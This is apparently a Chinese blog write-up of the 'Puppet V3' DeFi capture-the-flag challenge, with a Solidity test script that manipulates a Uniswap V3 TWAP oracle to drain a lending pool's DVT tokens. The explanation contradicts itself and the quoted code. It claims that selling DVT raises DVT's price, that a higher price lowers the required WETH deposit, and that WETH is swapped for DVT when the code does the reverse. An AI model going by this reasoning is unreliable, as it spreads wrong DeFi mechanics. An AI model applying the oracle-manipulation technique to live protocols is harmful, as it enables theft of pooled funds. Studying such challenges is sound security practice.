Appearance
玩转 Uniswap V3:Puppet V3 挑战,一次惊心动魄的 DeFi 抢救行动!
DeFi 的世界,无论是牛市还是熊市,真正的开发者们都在持续创新。你是否还记得我们上次联手拯救的那个借贷池?好消息是,它的新版本已经上线!
这一次,它引入了一个重大的升级:不再依赖简单的现货价格,而是巧妙地利用 Uniswap V3 的时间加权平均价格(TWAP)作为预言机。 这意味着什么?更精确、更鲁棒的价格参考,以及对复杂市场波动的更佳适应。
在这个充满挑战的世界里,Uniswap 市场摆放着 100 WETH 和 100 DVT 的流动性。而我们岌岌可危的借贷池,则储备着高达一百万的 DVT 代币。
你的任务,就是以手中仅有的 1 ETH 和少量 DVT 作为起点,从这个脆弱的借贷池中解救出所有的 DVT 代币,并将它们安全地送往指定的回收账户。
(重要提示: 此挑战需要一个有效的 RPC URL,以便将以太坊主网的状态复刻到你的本地开发环境中。)
深入解析:PuppetV3Pool 的漏洞
Puppet V3 挑战的核心在于理解 PuppetV3Pool 合约的 borrow 函数。该函数允许用户通过存入一定量的 WETH 来借出 DVT 代币。关键在于,它计算所需 WETH 存款的公式:
solidity
function calculateDepositOfWETHRequired(uint256 amount) public view returns (uint256) {
uint256 quote = _getOracleQuote(_toUint128(amount)); // 获取 TWAP 预估的 WETH 价格
return quote * DEPOSIT_FACTOR; // 乘以 3 倍的存款系数
}
这里的 _getOracleQuote 函数调用了 OracleLibrary.consult 来获取 Uniswap V3 池的 TWAP,并利用 OracleLibrary.getQuoteAtTick 计算出指定数量 DVT 对应的 WETH 价格。
挑战点在哪里?
- TWAP 的时效性: TWAP 的计算依赖于过去一段时间的价格平均值。如果攻击者能够操纵 Uniswap V3 池中的价格,就能影响 TWAP 的结果。
- 高额的存款系数:
DEPOSIT_FACTOR为 3。这意味着,借出 1 DVT 需要存入价值 3 DVT 的 WETH。这本身是为了增加借贷池的安全性,但如果价格被操纵,攻击者就能以极低的成本“买入”大量 DVT,再利用这个机制借出更多。
攻击思路:操纵价格,釜底抽薪
我们的目标是清空借贷池中的 DVT。攻击思路如下:
准备阶段:
- 将手中的 ETH 兑换成 DVT。
- 利用
INonfungiblePositionManager在 Uniswap V3 中创建流动性,或者更简单地,操纵现有流动性池的价格。 - 关键一步: 在较短的时间内(TWAP 周期内),通过大量的交易(例如,将 WETH 换成 DVT),抬高 DVT 在 Uniswap V3 中的价格。这样,TWAP 也会相应提高。
借贷阶段:
- 在 DVT 价格被操纵至高位后,调用
PuppetV3Pool的borrow函数,借出池中几乎所有的 DVT 代币。 因为此时 DVT 的 TWAP 价格很高,按照DEPOSIT_FACTOR计算出的所需 WETH 存款会相对较低,远低于 DVT 的实际价值。 - 重要细节: 题目要求在
skip(114 seconds)后进行借贷,这是为了让 Uniswap V3 的 TWAP 计算能够包含一个足够长的周期,使得我们操纵的价格能够被 TWAP 捕捉到。
- 在 DVT 价格被操纵至高位后,调用
清算与回收:
- 将借出的 DVT 代币全部转移到指定的
recovery地址。 - 最后,检查借贷池是否已被清空,以及回收地址是否收到了预期的 DVT 代币。
- 将借出的 DVT 代币全部转移到指定的
攻击脚本(题目答案解析)
solidity
function test_puppetV3() public checkSolvedByPlayer {
// 1. 将玩家的 ETH 兑换成 WETH,因为 PuppetV3Pool 使用 WETH 作为抵押品
weth.deposit{value: PLAYER_INITIAL_ETH_BALANCE}();
// 2. 批准 DVT 和 WETH 给 Uniswap V3 Router,以便进行交易
token.approve(address(swapRouter), type(uint256).max);
weth.approve(address(swapRouter), type(uint256).max);
// 3. 关键的操纵价格步骤:
// 我们将玩家拥有的 DVT 全部卖出(兑换成 WETH),从而在 Uniswap V3 池中抬高 DVT 的价格。
// 这里的 `amountIn: token.balanceOf(player)` 是将玩家所有的 DVT 都用于交易。
ISwapRouter.ExactInputSingleParams memory params =
ISwapRouter.ExactInputSingleParams({
tokenIn: address(token), // 输入代币是 DVT
tokenOut: address(weth), // 输出代币是 WETH
fee: FEE, // Uniswap V3 的 fee tier
recipient: player, // 交易结果(WETH)的接收者是玩家
deadline: block.timestamp, // 交易截止时间
amountIn: token.balanceOf(player), // 输入代币的数量
amountOutMinimum: 0, // 最小输出数量,设置为 0 以便强制执行交易
sqrtPriceLimitX96: 0 // 价格限制,设置为 0 表示不设限制
});
swapRouter.exactInputSingle(params);
// 4. 等待足够的时间,让 TWAP 能够反映出我们操纵过的价格。
// 题目要求跳过 114 秒,这比 TWAP_PERIOD (10 minutes) 要短,但可能足以使 OracleLibrary
// 在 `consult` 时返回一个受近期高价影响的 TWAP 值。
skip(114 seconds);
// 5. 准备借贷:
// 计算需要借出的 DVT 数量,即借贷池中所有的 DVT。
uint256 borrowAmount = token.balanceOf(address(lendingPool));
// 批准 WETH 给借贷池,用于抵押。
weth.approve(address(lendingPool), type(uint256).max);
// 执行借贷操作。此时,由于 DVT 价格被抬高,借贷池会按照高 TWAP 价格计算所需的 WETH,
// 并允许我们以相对较低的 WETH 数量借走大量的 DVT。
lendingPool.borrow(borrowAmount);
// 将借到的 DVT 代币全部转移到回收地址。
token.transfer(recovery, borrowAmount);
}
总结:
Puppet V3 挑战巧妙地结合了 Uniswap V3 的 TWAP 预言机和 DeFi 借贷池的脆弱性。通过精准的价格操纵,我们能够以极小的成本“套取”借贷池中的资产。这不仅是一次技术实操,更是对 DeFi 经济模型中预言机安全性和抵押机制深入理解的考验。
准备好迎接这场惊心动魄的 DeFi 抢救行动了吗?让我们一起,在代码的世界里,守护 DeFi 的未来!